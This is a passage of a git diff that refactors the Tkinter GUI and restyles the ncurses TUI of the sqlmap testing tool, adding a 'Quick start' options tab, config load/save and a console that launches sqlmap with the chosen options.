widget.bind("", lambda e: self.hint.set(helptext), add="+") + widget.bind("", lambda e: self.hint.set(helptext), add="+") + widget.bind("", lambda e: self.hint.set(HINT_DEFAULT), add="+") + widget.bind("", lambda e: self.hint.set(HINT_DEFAULT), add="+") + + if is_bool: + var = self._destVar(dest, True) + chk = self.ttk.Checkbutton(parent, text=label, variable=var, takefocus=True) + chk.grid(row=row, column=0, columnspan=2, sticky="w", pady=5) + _Tooltip(chk, helptext, tk, p) + bindHint(chk) + if firstSeen: + self.widgets[dest] = ("bool", var) + else: + otype = _optValueType(option) + var = self._destVar(dest, False) + if firstSeen: + default = defaults.get(dest) + if default not in (None, False): + var.set(default) + self.widgets[dest] = (otype, var) + lab = self.ttk.Label(parent, text=label, style="Field.TLabel") + lab.grid(row=row, column=0, sticky="w", padx=(0, 18), pady=6) + _Tooltip(lab, helptext, tk, p) + bindHint(lab) + choices = _optChoices(option) + if choices: + widget = self.ttk.Combobox(parent, values=list(choices), state="readonly", textvariable=var) + else: + widget = self.ttk.Entry(parent, textvariable=var) + if otype in ("int", "float"): + self._constrain(widget, otype) + widget.grid(row=row, column=1, sticky="ew", pady=6) + _Tooltip(widget, helptext, tk, p) + bindHint(widget) + return row + 1 + + def _constrain(self, entry, otype): + check = (lambda s: s == "" or s.replace(".", "", 1).isdigit()) if otype == "float" else (lambda s: s == "" or s.isdigit()) + vcmd = (self.window.register(lambda proposed: bool(check(proposed))), "%P") + entry.configure(validate="key", validatecommand=vcmd) + + # --- helpers -------------------------------------------------------- + + def _center(self, window, width=None, height=None): + window.update_idletasks() + width = width or window.winfo_width() + height = height or window.winfo_height() + x = window.winfo_screenwidth() // 2 - width // 2 + y = window.winfo_screenheight() // 2 - height // 2 + window.geometry("%dx%d+%d+%d" % (width, height, x, y)) + + def _updateStats(self): + count = 0 + for dest, (otype, var) in self.widgets.items(): + try: + if otype == "bool": + if var.get(): + count += 1 + else: + raw = var.get() + if raw not in (None, "") and str(raw) != str(defaults.get(dest, "")): + count += 1 + except Exception: + pass + self.stat.set("%d option%s set" % (count, "" if count == 1 else "s")) + + def _buildCommandString(self): + parts = ["sqlmap.py"] + for dest, (otype, var) in self.widgets.items(): + option = self.optionByDest.get(dest) + if option is None: + continue + strings = _optStrings(option) + if not strings: + continue + flag = strings[0] + try: + if otype == "bool": + if var.get(): + parts.append(flag) + else: + raw = var.get() + if raw not in (None, "") and str(raw) != str(defaults.get(dest, "")): + value = str(raw) + if " " in value or '"' in value: + value = '"%s"' % value.replace('"', '\\"') + parts.append("%s %s" % (flag, value)) + except Exception: + pass + return " ".join(parts) + + def _tickStats(self): + self._updateStats() + self.command.set(self._buildCommandString()) + self.window.after(1200, self._tickStats) + + def _collectConfig(self): + config = {} + for dest, (otype, var) in self.widgets.items(): + try: + if otype == "bool": + value = bool(var.get()) + else: + raw = var.get() + if raw in (None, ""): + value = None + elif otype == "int": + value = int(raw) + elif otype == "float": + value = float(raw) + else: + value = raw + except Exception: + value = None + config[dest] = value + for option in self.optionByDest.values(): + dest = _optDest(option) + if config.get(dest) is None: + config[dest] = defaults.get(dest, None) + return config + + def _setWidgetValue(self, dest, value): + if dest not in self.widgets: + return + otype, var = self.widgets[dest] + try: + if otype == "bool": + var.set(1 if value else 0) + else: + var.set("" if value in (None, False) else value) + except Exception: + pass + + # --- actions -------------------------------------------------------- + + def loadConfig(self): + path = self.filedialog.askopenfilename(title="Load configuration", filetypes=[("sqlmap config", "*.conf *.ini"), ("All files", "*.*")]) + if not path: + return + try: + from thirdparty.six.moves import configparser as _configparser + parser = _configparser.ConfigParser() + parser.read(path) + count = 0 + for section in parser.sections(): + for name, value in parser.items(section): + if name in self.widgets: + if self.widgets[name][0] == "bool": + self._setWidgetValue(name, str(value).lower() in ("1", "true", "yes", "on")) + else: + self._setWidgetValue(name, value) + count += 1 + self.hint.set("Loaded %d options from %s" % (count, os.path.basename(path))) + except Exception as ex: + self.messagebox.showerror("Load failed", getSafeExString(ex)) + + def saveConfigDialog(self): + path = self.filedialog.asksaveasfilename(title="Save configuration", defaultextension=".conf", filetypes=[("sqlmap config", "*.conf")]) + if not path: + return + try: + saveConfig(self._collectConfig(), path) + self.hint.set("Saved configuration to %s" % os.path.basename(path)) + except Exception as ex: + self.messagebox.showerror("Save failed", getSafeExString(ex)) + + def run(self): + config = self._collectConfig() + handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) + os.close(handle) + saveConfig(config, configFile) + + self.alive = True + self.process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], + shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, + bufsize=1, close_fds=not IS_WIN) + self.queue = _queue.Queue() + + def enqueue(stream, queue): + for line in iter(stream.readline, b''): + queue.put(line) + self.alive = False + stream.close() + + thread = threading.Thread(target=enqueue, args=(self.process.stdout, self.queue)) + thread.daemon = True + thread.start() + self._openConsole() + + def _openConsole(self): + p = PALETTE + tk = self.tk + top = tk.Toplevel(self.window) + top.title("sqlmap - console") + top.configure(background=p["crust"]) + frame = self.ttk.Frame(top, style="Card.TFrame", padding=10) + frame.configure(style="Card.TFrame") + frame.pack(fill=tk.BOTH, expand=True) + + text = self.scrolledtext.ScrolledText(frame, wrap=tk.WORD, bg=p["crust"], fg=p["text"], + insertbackground=p["blue"], relief="flat", borderwidth=0, + font=self.fonts["mono"], padx=12, pady=10) + text.pack(fill=tk.BOTH, expand=True) + text.focus() + lineBuffer = {"value": ""} + + def onKey(event): + if self.process: + if event.char == "\b": + lineBuffer["value"] = lineBuffer["value"][:-1] + elif event.char: + lineBuffer["value"] += event.char + + def onReturn(event): + if self.process: + try: + self.process.stdin.write(("%s\n" % lineBuffer["value"].strip()).encode()) + self.process.stdin.flush() + except Exception: + pass + lineBuffer["value"] = "" + text.insert(tk.END, "\n") + return "break" + + text.bind("", onKey) + text.bind("", onReturn) + + def pump(): + drained = False + try: + while True: + line = self.queue.get_nowait() + text.insert(tk.END, line.decode("utf-8", errors="replace") if isinstance(line, bytes) else line) + drained = True + except _queue.Empty: + pass + if drained: + text.see(tk.END) + if self.alive or not self.queue.empty(): + top.after(80, pump) + else: + text.insert(tk.END, "\n--- process finished ---\n") + text.see(tk.END) + + self._center(top, 900, 580) + top.after(80, pump) def runGui(parser): try: from thirdparty.six.moves import tkinter as _tkinter - from thirdparty.six.moves import tkinter_scrolledtext as _tkinter_scrolledtext - from thirdparty.six.moves import tkinter_ttk as _tkinter_ttk - from thirdparty.six.moves import tkinter_messagebox as _tkinter_messagebox + from thirdparty.six.moves import tkinter_scrolledtext as _scrolledtext + from thirdparty.six.moves import tkinter_ttk as _ttk + from thirdparty.six.moves import tkinter_messagebox as _messagebox + from thirdparty.six.moves import tkinter_filedialog as _filedialog + from thirdparty.six.moves import tkinter_font as _font except ImportError as ex: raise SqlmapMissingDependence("missing dependence ('%s')" % getSafeExString(ex)) - # Reference: https://www.reddit.com/r/learnpython/comments/985umy/limit_user_input_to_only_int_with_tkinter/e4dj9k9?utm_source=share&utm_medium=web2x - class ConstrainedEntry(_tkinter.Entry): - def __init__(self, master=None, **kwargs): - self.var = _tkinter.StringVar() - self.regex = kwargs["regex"] - del kwargs["regex"] - _tkinter.Entry.__init__(self, master, textvariable=self.var, **kwargs) - self.old_value = '' - self.var.trace('w', self.check) - self.get, self.set = self.var.get, self.var.set - - def check(self, *args): - if re.search(self.regex, self.get()): - self.old_value = self.get() - else: - self.set(self.old_value) - - try: - window = _tkinter.Tk() - except Exception as ex: - errMsg = "unable to create GUI window ('%s')" % getSafeExString(ex) - raise SqlmapSystemException(errMsg) - - window.title("sqlmap - Tkinter GUI") - - # Set theme and colors - bg_color = "#f5f5f5" - fg_color = "#333333" - accent_color = "#2c7fb8" - window.configure(background=bg_color) - - # Configure styles - style = _tkinter_ttk.Style() - - # Try to use a more modern theme if available - available_themes = style.theme_names() - if 'clam' in available_themes: - style.theme_use('clam') - elif 'alt' in available_themes: - style.theme_use('alt') - - # Configure notebook style - style.configure("TNotebook", background=bg_color) - style.configure("TNotebook.Tab", - padding=[10, 4], - background="#e1e1e1", - font=('Helvetica', 9)) - style.map("TNotebook.Tab", - background=[("selected", accent_color), ("active", "#7fcdbb")], - foreground=[("selected", "white"), ("active", "white")]) - - # Configure button style - style.configure("TButton", - padding=4, - relief="flat", - background=accent_color, - foreground="white", - font=('Helvetica', 9)) - style.map("TButton", - background=[('active', '#41b6c4')]) - - # Reference: https://stackoverflow.com/a/10018670 - def center(window): - window.update_idletasks() - width = window.winfo_width() - frm_width = window.winfo_rootx() - window.winfo_x() - win_width = width + 2 * frm_width - height = window.winfo_height() - titlebar_height = window.winfo_rooty() - window.winfo_y() - win_height = height + titlebar_height + frm_width - x = window.winfo_screenwidth() // 2 - win_width // 2 - y = window.winfo_screenheight() // 2 - win_height // 2 - window.geometry('{}x{}+{}+{}'.format(width, height, x, y)) - window.deiconify() - - def onKeyPress(event): - global line - global queue - - if process: - if event.char == '\b': - line = line[:-1] - else: - line += event.char - - def onReturnPress(event): - global line - global queue - - if process: - try: - process.stdin.write(("%s\n" % line.strip()).encode()) - process.stdin.flush() - except socket.error: - line = "" - event.widget.master.master.destroy() - return "break" - except: - return - - event.widget.insert(_tkinter.END, "\n") - - return "break" - - def run(): - global alive - global process - global queue - - config = {} - - for key in window._widgets: - dest, widget_type = key - widget = window._widgets[key] - - if hasattr(widget, "get") and not widget.get(): - value = None - elif widget_type == "string": - value = widget.get() - elif widget_type == "float": - value = float(widget.get()) - elif widget_type == "int": - value = int(widget.get()) - else: - value = bool(widget.var.get()) - - config[dest] = value - - for option in parser.option_list: - # Only set default if not already set by the user - if option.dest not in config or config[option.dest] is None: - config[option.dest] = defaults.get(option.dest, None) - - handle, configFile = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.CONFIG, text=True) - os.close(handle) - - saveConfig(config, configFile) - - def enqueue(stream, queue): - global alive - - for line in iter(stream.readline, b''): - queue.put(line) - - alive = False - stream.close() - - alive = True - - process = subprocess.Popen([sys.executable or "python", os.path.join(paths.SQLMAP_ROOT_PATH, "sqlmap.py"), "-c", configFile], shell=False, stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE, bufsize=1, close_fds=not IS_WIN) - - # Reference: https://stackoverflow.com/a/4896288 - queue = _queue.Queue() - thread = threading.Thread(target=enqueue, args=(process.stdout, queue)) - thread.daemon = True - thread.start() - - top = _tkinter.Toplevel() - top.title("Console") - top.configure(background=bg_color) - - # Create a frame for the console - console_frame = _tkinter.Frame(top, bg=bg_color) - console_frame.pack(fill=_tkinter.BOTH, expand=True, padx=10, pady=10) - - # Reference: https://stackoverflow.com/a/13833338 - text = _tkinter_scrolledtext.ScrolledText(console_frame, undo=True, wrap=_tkinter.WORD, - bg="#2c3e50", fg="#ecf0f1", - insertbackground="white", - font=('Consolas', 10)) - text.bind("", onKeyPress) - text.bind("", onReturnPress) - text.pack(fill=_tkinter.BOTH, expand=True) - text.focus() - - center(top) - - while True: - line = "" - try: - line = queue.get(timeout=.1) - text.insert(_tkinter.END, line) - except _queue.Empty: - text.see(_tkinter.END) - text.update_idletasks() - - if not alive: - break - - # Create a menu bar - menubar = _tkinter.Menu(window, bg=bg_color, fg=fg_color) - - filemenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) - filemenu.add_command(label="Open", state=_tkinter.DISABLED) - filemenu.add_command(label="Save", state=_tkinter.DISABLED) - filemenu.add_separator() - filemenu.add_command(label="Exit", command=window.quit) - menubar.add_cascade(label="File", menu=filemenu) - - menubar.add_command(label="Run", command=run) - - helpmenu = _tkinter.Menu(menubar, tearoff=0, bg=bg_color, fg=fg_color) - helpmenu.add_command(label="Official site", command=lambda: webbrowser.open(SITE)) - helpmenu.add_command(label="Github pages", command=lambda: webbrowser.open(GIT_PAGE)) - helpmenu.add_command(label="Wiki pages", command=lambda: webbrowser.open(WIKI_PAGE)) - helpmenu.add_command(label="Report issue", command=lambda: webbrowser.open(ISSUES_PAGE)) - helpmenu.add_separator() - helpmenu.add_command(label="About", command=lambda: _tkinter_messagebox.showinfo("About", "%s\n\n (%s)" % (VERSION_STRING, DEV_EMAIL_ADDRESS))) - menubar.add_cascade(label="Help", menu=helpmenu) - - window.config(menu=menubar, bg=bg_color) - window._widgets = {} - - # Create header frame - header_frame = _tkinter.Frame(window, bg=bg_color, height=60) - header_frame.pack(fill=_tkinter.X, pady=(0, 5)) - header_frame.pack_propagate(0) - - # Add header label - title_label = _tkinter.Label(header_frame, text="Configuration", - font=('Helvetica', 14), - fg=accent_color, bg=bg_color) - title_label.pack(side=_tkinter.LEFT, padx=15) - - # Add run button in header - run_button = _tkinter_ttk.Button(header_frame, text="Run", command=run, width=12) - run_button.pack(side=_tkinter.RIGHT, padx=15) - - # Create notebook - notebook = _tkinter_ttk.Notebook(window) - notebook.pack(expand=1, fill="both", padx=5, pady=(0, 5)) - - # Store tab information for background loading - tab_frames = {} - tab_canvases = {} - tab_scrollable_frames = {} - tab_groups = {} - - # Create empty tabs with scrollable areas first (fast) - for group in parser.option_groups: - # Create a frame with scrollbar for the tab - tab_frame = _tkinter.Frame(notebook, bg=bg_color) - tab_frames[group.title] = tab_frame - - # Create a canvas with scrollbar - canvas = _tkinter.Canvas(tab_frame, bg=bg_color, highlightthickness=0) - scrollbar = _tkinter_ttk.Scrollbar(tab_frame, orient="vertical", command=canvas.yview) - scrollable_frame = _tkinter.Frame(canvas, bg=bg_color) - - # Store references - tab_canvases[group.title] = canvas - tab_scrollable_frames[group.title] = scrollable_frame - tab_groups[group.title] = group - - # Configure the canvas scrolling - scrollable_frame.bind( - "", - lambda e, canvas=canvas: canvas.configure(scrollregion=canvas.bbox("all")) - ) - - canvas.create_window((0, 0), window=scrollable_frame, anchor="nw") - canvas.configure(yscrollcommand=scrollbar.set) - - # Pack the canvas and scrollbar - canvas.pack(side="left", fill="both", expand=True) - scrollbar.pack(side="right", fill="y") - - # Add the tab to the notebook - notebook.add(tab_frame, text=group.title) - - # Add a loading indicator - loading_label = _tkinter.Label(scrollable_frame, text="Loading options...", - font=('Helvetica', 12), - fg=accent_color, bg=bg_color) - loading_label.pack(expand=True) - - # Function to populate a tab in the background - def populate_tab(tab_name): - group = tab_groups[tab_name] - scrollable_frame = tab_scrollable_frames[tab_name] - canvas = tab_canvases[tab_name] - - # Remove loading indicator - for child in scrollable_frame.winfo_children(): - child.destroy() - - # Add content to the scrollable frame - row = 0 - - if group.get_description(): - desc_label = _tkinter.Label(scrollable_frame, text=group.get_description(), - wraplength=600, justify="left", - font=('Helvetica', 9), - fg="#555555", bg=bg_color) - desc_label.grid(row=row, column=0, columnspan=3, sticky="w", padx=10, pady=(10, 5)) - row += 1 - - for option in group.option_list: - # Option label - option_label = _tkinter.Label(scrollable_frame, - text=parser.formatter._format_option_strings(option) + ":", - font=('Helvetica', 9), - fg=fg_color, bg=bg_color, - anchor="w") - option_label.grid(row=row, column=0, sticky="w", padx=10, pady=2) - - # Input widget - if option.type == "string": - widget = _tkinter.Entry(scrollable_frame, font=('Helvetica', 9), - relief="sunken", bd=1, width=20) - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) - elif option.type == "float": - widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\.?\d*\Z", - font=('Helvetica', 9), - relief="sunken", bd=1, width=10) - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) - elif option.type == "int": - widget = ConstrainedEntry(scrollable_frame, regex=r"\A\d*\Z", - font=('Helvetica', 9), - relief="sunken", bd=1, width=10) - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) - else: - var = _tkinter.IntVar() - widget = _tkinter.Checkbutton(scrollable_frame, variable=var, - bg=bg_color, activebackground=bg_color) - widget.var = var - widget.grid(row=row, column=1, sticky="w", padx=5, pady=2) - - # Help text (truncated to improve performance) - help_text = option.help - if len(help_text) > 100: - help_text = help_text[:100] + "..." - - help_label = _tkinter.Label(scrollable_frame, text=help_text, - font=('Helvetica', 8), - fg="#666666", bg=bg_color, - wraplength=400, justify="left") - help_label.grid(row=row, column=2, sticky="w", padx=5, pady=2) - - # Store widget reference - window._widgets[(option.dest, option.type)] = widget - - # Set default value - default = defaults.get(option.dest) - if default: - if hasattr(widget, "insert"): - widget.insert(0, default) - elif hasattr(widget, "var"): - widget.var.set(1 if default else 0) - - row += 1 - - # Add some padding at the bottom - _tkinter.Label(scrollable_frame, bg=bg_color, height=1).grid(row=row, column=0) - - # Update the scroll region after adding all widgets - canvas.update_idletasks() - canvas.configure(scrollregion=canvas.bbox("all")) - - # Update the UI to show the tab is fully loaded - window.update_idletasks() - - # Function to populate tabs in the background - def populate_tabs_background(): - for tab_name in tab_groups.keys(): - # Schedule each tab to be populated with a small delay between them - window.after(100, lambda name=tab_name: populate_tab(name)) - - # Start populating tabs in the background after a short delay - window.after(500, populate_tabs_background) - - # Set minimum window size - window.update() - window.minsize(800, 500) - - # Center the window on screen - center(window) - - # Start the GUI - window.mainloop() + app = SqlmapGui(parser, _tkinter, _ttk, _scrolledtext, _messagebox, _filedialog, _font) + app.window.mainloop() diff --git a/lib/utils/tui.py b/lib/utils/tui.py index d785e5f76..476eccecc 100644 --- a/lib/utils/tui.py +++ b/lib/utils/tui.py @@ -25,6 +25,75 @@ from lib.core.exception import SqlmapSystemException from lib.core.settings import IS_WIN from thirdparty.six.moves import configparser as _configparser +# Options surfaced on the curated "Quick start" tab (by destination), in display order +QUICK_START_DESTS = ( + "url", "data", "cookie", "dbms", "level", "risk", "technique", + "getCurrentUser", "getCurrentDb", "getBanner", "isDba", + "getDbs", "getTables", "getColumns", "getPasswordHashes", "dumpTable", + "batch", "threads", "proxy", "tor", +) + +# Short tab labels so the (sometimes verbose) option-group titles fit the top bar +TAB_ALIASES = { + "Optimization": "Optimize", + "Enumeration": "Enumerate", + "Brute force": "Brute", + "User-defined function injection": "UDF", + "File system access": "Files", + "Operating system access": "OS", + "Windows registry access": "Registry", + "Miscellaneous": "Misc", +} + +# --- parser-backend compatibility (works for both optparse and argparse objects) --- + +def _parserGroups(parser): + groups = getattr(parser, "option_groups", None) + if groups is None: + groups = [_ for _ in getattr(parser, "_action_groups", []) if getattr(_, "title", None) not in (None, "positional arguments", "optional arguments", "options")] + return groups or [] + +def _groupOptions(group): + for attr in ("option_list", "_group_actions"): + if hasattr(group, attr): + return getattr(group, attr) + return [] + +def _groupTitle(group): + return getattr(group, "title", "") or "" + +def _groupDescription(group): + if hasattr(group, "get_description"): + return group.get_description() or "" + return getattr(group, "description", "") or "" + +def _optStrings(option): + if hasattr(option, "option_strings"): + return list(option.option_strings) + return list(getattr(option, "_short_opts", None) or []) + list(getattr(option, "_long_opts", None) or []) + +def _optDest(option): + return getattr(option, "dest", None) + +def _optHelp(option): + return getattr(option, "help", "") or "" + +def _optTakesValue(option): + if hasattr(option, "takes_value"): + try: + return option.takes_value() + except Exception: + pass + return getattr(option, "nargs", 1) != 0 + +def _optValueType(option): + kind = getattr(option, "type", None) + if kind in ("int", int): + return "int" + if kind in ("float", float): + return "float" + return "string" + class NcursesUI: def __init__(self, stdscr, parser): self.stdscr = stdscr @@ -38,61 +107,110 @@ class NcursesUI: self.process = None # Initialize colors - curses.start_color() - curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) # Header - curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE) # Active tab - curses.init_pair(3, curses.COLOR_BLACK, curses.COLOR_WHITE) # Inactive tab - curses.init_pair(4, curses.COLOR_YELLOW, curses.COLOR_BLACK) # Selected field - curses.init_pair(5, curses.COLOR_GREEN, curses.COLOR_BLACK) # Help text - curses.init_pair(6, curses.COLOR_RED, curses.COLOR_BLACK) # Error/Important - curses.init_pair(7, curses.COLOR_CYAN, curses.COLOR_BLACK) # Label + self._init_colors() # Setup curses - curses.curs_set(1) + curses.curs_set(0) self.stdscr.keypad(1) # Parse option groups self._parse_options() + def _init_colors(self): + """Cohesive palette: a flat 256-color scheme with a graceful 8-color fallback""" + curses.start_color() + try: + curses.use_default_colors() + default_bg = -1 + except curses.error: + default_bg = curses.COLOR_BLACK + + if curses.COLORS >= 256: + accent, accent_fg, sel_bg = 75, 234, 237 + text, muted, green, red = 252, 245, 114, 210 + curses.init_pair(1, accent_fg, accent) # header / footer bar + curses.init_pair(2, accent_fg, accent) # active tab + curses.init_pair(3, muted, 236) # inactive tab + curses.init_pair(4, accent, sel_bg) # selected field row + curses.init_pair(5, muted, default_bg) # help / description + curses.init_pair(6, red, default_bg) # error / important + curses.init_pair(7, text, default_bg) # label / value + curses.init_pair(8, green, default_bg) # value that has been set + curses.init_pair(9, muted, sel_bg) # help text on the highlighted row + else: + curses.init_pair(1, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(2, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(3, curses.COLOR_WHITE, curses.COLOR_BLUE) + curses.init_pair(4, curses.COLOR_BLACK, curses.COLOR_CYAN) + curses.init_pair(5, curses.COLOR_GREEN, default_bg) + curses.init_pair(6, curses.COLOR_RED, default_bg) + curses.init_pair(7, curses.COLOR_WHITE, default_bg) + curses.init_pair(8, curses.COLOR_GREEN, default_bg) + curses.init_pair(9, curses.COLOR_BLACK, curses.COLOR_CYAN) + def _parse_options(self): """Parse command line options into tabs and fields""" - for group in self.parser.option_groups: + self.all_options = [] + for group in _parserGroups(self.parser): + title = _groupTitle(group) tab_data = { - 'title': group.title, - 'description': group.get_description() if hasattr(group, 'get_description') and group.get_description() else "", + 'title': title, + 'description': _groupDescription(group), 'options': [] } - for option in group.option_list: + for option in _groupOptions(group): + dest = _optDest(option) + if not dest: + continue field_data = { - 'dest': option.dest, + 'dest': dest, 'label': self._format_option_strings(option), - 'help': option.help if option.help else "", - 'type': option.type if hasattr(option, 'type') and option.type else 'bool', + 'help': _optHelp(option), + 'type': _optValueType(option) if _optTakesValue(option) else 'bool', 'value': '', - 'default': defaults.get(option.dest) if defaults.get(option.dest) else None + 'default': defaults.get(dest) if defaults.get(dest) else None } tab_data['options'].append(field_data) - self.fields[(group.title, option.dest)] = field_data + self.fields[(title, dest)] = field_data + self.all_options.append(field_data) self.tabs.append(tab_data) + # curated "Quick start" tab; references the same field objects as the group tabs, + # so a value edited in either place stays in sync + seen = {} + for tab in self.tabs: + for option in tab['options']: + seen.setdefault(option['dest'], option) + quick = { + 'title': 'Quick start', + 'description': "The options people reach for most. Fill these in, then press F2 to run.", + 'options': [seen[dest] for dest in QUICK_START_DESTS if dest in seen], + } + if quick['options']: + self.tabs.insert(0, quick) + def _format_option_strings(self, option): """Format option strings for display""" - parts = [] - if hasattr(option, '_short_opts') and option._short_opts: - parts.extend(option._short_opts) - if hasattr(option, '_long_opts') and option._long_opts: - parts.extend(option._long_opts) - return ', '.join(parts) + return ', '.join(_optStrings(option)) + + def _tab_title(self, tab): + return TAB_ALIASES.get(tab['title'], tab['title']) def _draw_header(self): """Draw the header bar""" height, width = self.stdscr.getmaxyx() - header = " sqlmap - ncurses TUI " self.stdscr.attron(curses.color_pair(1) | curses.A_BOLD) - self.stdscr.addstr(0, 0, header.center(width)) - self.stdscr.attroff(curses.color_pair(1) | curses.A_BOLD) + self.stdscr.addstr(0, 0, " " * width) + self.stdscr.addstr(0, 1, "sqlmap") + self.stdscr.attroff(curses.A_BOLD) + right = "F2 Run - F10 Quit " + try: + self.stdscr.addstr(0, max(8, width - len(right)), right) + except: + pass + self.stdscr.attroff(curses.color_pair(1)) def _get_tab_bar_height(self): """Calculate how many rows the tab bar uses""" @@ -101,16 +219,12 @@ class NcursesUI: x = 0 for i, tab in enumerate(self.tabs): - tab_text = " %s " % tab['title'] - - # Check if tab exceeds width, wrap to next line + tab_text = " %s " % self._tab_title(tab) if x + len(tab_text) >= width: y += 1 x = 0 - # Stop if we've used too many lines - if y >= 3: + if y >= 4: break - x += len(tab_text) + 1 return y @@ -122,14 +236,11 @@ class NcursesUI: x = 0 for i, tab in enumerate(self.tabs): - tab_text = " %s " % tab['title'] - - # Check if tab exceeds width, wrap to next line + tab_text = " %s " % self._tab_title(tab) if x + len(tab_text) >= width: y += 1 x = 0 - # Stop if we've used too many lines - if y >= 3: + if y >= 4: break if i == self.current_tab: @@ -152,11 +263,11 @@ class NcursesUI: def _draw_footer(self): """Draw the footer with help text""" height, width = self.stdscr.getmaxyx() - footer = " [Tab] Next | [Arrows] Navigate | [Enter] Edit | [F2] Run | [F3] Export | [F4] Import | [F10] Quit " + footer = " Tab/<-/-> Section Up/Down Field Enter/Space Edit F2 Run F3 Export F4 Import F10 Quit " try: self.stdscr.attron(curses.color_pair(1)) - self.stdscr.addstr(height - 1, 0, footer.ljust(width)) + self.stdscr.addstr(height - 1, 0, footer.ljust(width)[:width - 1]) self.stdscr.attroff(curses.color_pair(1)) except: pass @@ -202,51 +313,58 @@ class NcursesUI: is_selected = (i == self.current_field) - # Draw label + # full-width highlight bar for the selected row + if is_selected: + try: + self.stdscr.attron(curses.color_pair(4)) + self.stdscr.addstr(y, 0, " " * (width - 1)) + self.stdscr.attroff(curses.color_pair(4)) + except: + pass + + # label label = option['label'][:25].ljust(25) + label_attr = curses.color_pair(4) | curses.A_BOLD if is_selected else curses.color_pair(7) try: - if is_selected: - self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) - else: - self.stdscr.attron(curses.color_pair(7)) - + self.stdscr.attron(label_attr) self.stdscr.addstr(y, 2, label) - - if is_selected: - self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) - else: - self.stdscr.attroff(curses.color_pair(7)) + self.stdscr.attroff(label_attr) except: pass - # Draw value - value_str = "" + # value (green once the user has set one, muted "(default)" otherwise) + has_value = option['value'] not in (None, "", False) if option['type'] == 'bool': value = option['value'] if option['value'] is not None else option.get('default') - value_str = "[X]" if value else "[ ]" + value_str = "[x]" if value else "[ ]" + value_attr = curses.color_pair(8) if value else curses.color_pair(5) + elif has_value: + value_str = str(option['value']) + value_attr = curses.color_pair(8) + elif option['default'] not in (None, False): + value_str = "(%s)" % str(option['default']) + value_attr = curses.color_pair(5) else: - value_str = str(option['value']) if option['value'] else "" - if option['default'] and not option['value']: - value_str = "(%s)" % str(option['default']) - - value_str = value_str[:30] + value_str = "" + value_attr = curses.color_pair(5) + if is_selected: + value_attr = curses.color_pair(4) | curses.A_BOLD try: - if is_selected: - self.stdscr.attron(curses.color_pair(4) | curses.A_BOLD) - self.stdscr.addstr(y, 28, value_str) - if is_selected: - self.stdscr.attroff(curses.color_pair(4) | curses.A_BOLD) + self.stdscr.attron(value_attr) + self.stdscr.addstr(y, 28, value_str[:30]) + self.stdscr.attroff(value_attr) except: pass - # Draw help text + # help text (always shown, including on the highlighted row so it stays readable) if width > 65: - help_text = option['help'][:width-62] if option['help'] else "" + help_text = option['help'][:width - 62] if option['help'] else "" + help_attr = curses.color_pair(9) if is_selected else curses.color_pair(5) try: - self.stdscr.attron(curses.color_pair(5)) - self.stdscr.addstr(y, 60, help_text) - self.stdscr.attroff(curses.color_pair(5)) + self.stdscr.attron(help_attr) + self.stdscr.addstr(y, 60, help_text.ljust(width - 61)[:width - 61]) + self.stdscr.attroff(help_attr) except: pass @@ -292,50 +410,57 @@ class NcursesUI: # Toggle boolean option['value'] = not option['value'] else: - # Text input + # Text input (manual key loop so Esc can cancel and Enter can save) height, width = self.stdscr.getmaxyx() - - # Create input window input_win = curses.newwin(5, width - 20, height // 2 - 2, 10) + input_win.keypad(True) input_win.box() input_win.attron(curses.color_pair(2)) input_win.addstr(0, 2, " Edit %s " % option['label'][:20]) input_win.attroff(curses.color_pair(2)) - input_win.addstr(2, 2, "Value:") - input_win.refresh() + input_win.attron(curses.color_pair(5)) + input_win.addstr(3, 2, "[Enter] save [Esc] cancel") + input_win.attroff(curses.color_pair(5)) - # Get input - curses.echo() + buffer = str(option['value']) if option['value'] not in (None, "") else "" + max_len = max(1, width - 34) + curses.noecho() curses.curs_set(1) - # Pre-fill with existing value - current_value = str(option['value']) if option['value'] else "" - input_win.addstr(2, 9, current_value) - input_win.move(2, 9) + while True: + shown = buffer[-max_len:] + input_win.addstr(2, 2, "Value: ") + input_win.addstr(2, 9, shown.ljust(max_len)[:max_len]) + input_win.move(2, 9 + len(shown)) + input_win.refresh() - try: - new_value = input_win.getstr(2, 9, width - 32).decode('utf-8') + ch = input_win.getch() + if ch == 27: # Esc -> cancel, keep old value + buffer = None + break + elif ch in (curses.KEY_ENTER, 10, 13): # Enter -> commit + break + elif ch in (curses.KEY_BACKSPACE, 127, 8): + buffer = buffer[:-1] + elif 32 <= ch <= 126: + buffer += chr(ch) - # Validate and convert based on type + curses.curs_set(0) + + if buffer is not None: if option['type'] == 'int': try: - option['value'] = int(new_value) if new_value else None + option['value'] = int(buffer) if buffer else None except ValueError: option['value'] = None elif option['type'] == 'float': try: - option['value'] = float(new_value) if new_value else None + option['value'] = float(buffer) if buffer else None except ValueError: option['value'] = None else: - option['value'] = new_value if new_value else None - except: - pass + option['value'] = buffer if buffer else None - curses.noecho() - curses.curs_set(0) - - # Clear input window input_win.clear() input_win.refresh() del input_win @@ -378,9 +503,9 @@ class NcursesUI: config[dest] = value # Set defaults for unset options - for option in self.parser.option_list: - if option.dest not in config or config[option.dest] is None: - config[option.dest] = defaults.get(option.dest, None) + for field in self.all_options: + if field['dest'] not in config or config[field['dest']] is None: + config[field['dest']] = defaults.get(field['dest'], None) # Save config try: @@ -537,9 +662,9 @@ class NcursesUI: config[dest] = value # Set defaults for unset options - for option in self.parser.option_list: - if option.dest not in config or config[option.dest] is None: - config[option.dest] = 